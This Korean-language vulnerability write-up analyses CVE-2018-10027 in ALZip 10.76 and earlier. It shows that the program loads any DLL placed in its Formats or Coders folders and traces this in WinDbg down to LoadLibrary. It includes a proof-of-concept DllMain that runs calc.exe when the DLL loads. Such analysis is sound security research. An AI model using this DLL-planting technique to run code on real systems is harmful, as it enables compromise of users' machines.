CVE Details: 
https://www.cvedetails.com/cve/CVE-2018-10027/

 

개요

알집 10.76 이하 버전에서

%PROGRAMFILES%\ESTsoft\ALZip\Formats, %PROGRAMFILES%\ESTsoft\ALZip\Coders,

%PROGRAMFILES(X86)%\ESTsoft\ALZip\Formats,

%PROGRAMFILES(X86)%\ESTsoft\ALZip\Coders

세 경로에 포함된 DLL파일을 모두 로드하여 임의 코드 실행이 가능합니다.

 

취약점 탐색

%PROGRAMFILES(X86)%\ESTsoft\ALZip\Formats에 1.dll파일을 위치시킵니다.

windbg에서 알집을 실행하고 lm명령으로 로드된 모듈을 확인하면 1.dll이 로드된 것을 알 수 있습니다.

 

DLLMain

DLL파일은 로드되고 해제될때 DLLMain함수에 있는 swich문에 따라 여러가지 동작을 수행하게 됩니다.

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,  // handle to DLL module
    DWORD fdwReason,     // reason for calling function
    LPVOID lpReserved )  // reserved
{
    // Perform actions based on the reason for calling.
    switch( fdwReason ) 
    { 
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
        	{
        		WinExec("calc.exe",SW_SHOWNORMAL);
            		break;
		}
        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}

DLL이 로드 되는 경우 DLL_PROCESS_ATTACH안의 내용이 수행되는데, 이처럼 WinExec로 계산기를 띄우게 할 수 있습니다.

따라서 해당 dll을 로드하게 되면 계산기가 뜨게 됩니다.

 

취약점 분석

windbg를 이용해 알집을 열고, 직접 생성해서 폴더에 넣어준 1.dll이 로드되는 시점에 브레이크 포인트를 걸어보겠습니다.

sxe ld:suspect.dll

위의 명령어로 해당 dll이 로드되었을 때 브레이크가 걸리게 할 수 있습니다.

브레이크가 걸린뒤 콜스택을 확인하면, dll과 * 문자열을 볼 수 있습니다.

operator + 를 이용해 문자열들을 합쳐서 경로/*.dll이라는 문자열을 만드는 것을 확인할 수 있습니다.

같은함수 아래부분을 보면, for 문을 통해 링크드리스트를 돌면서 503c60함수를 실행하는 것을 확인할 수 있습니다.

함수503c60 내부에서 호출하는 함수에 함수포인터를 호출하는 부분이 있습니다.

이때 불리는 함수를 windbg로 확인해보면  ReleaseTaskControl + 0xce80입니다.

해당 함수는 LoadLibrary로 dll을 로드하는 함수입니다.

 

따라서 *.dll 와일드카드를 통해 해당 폴더의 모든 dll을 링크드리스트로 생성하여, 모두 로드하는 것을 확인할 수 있습니다.

 

알집을 실행하면 계산기가 뜨게됩니다.

복사했습니다!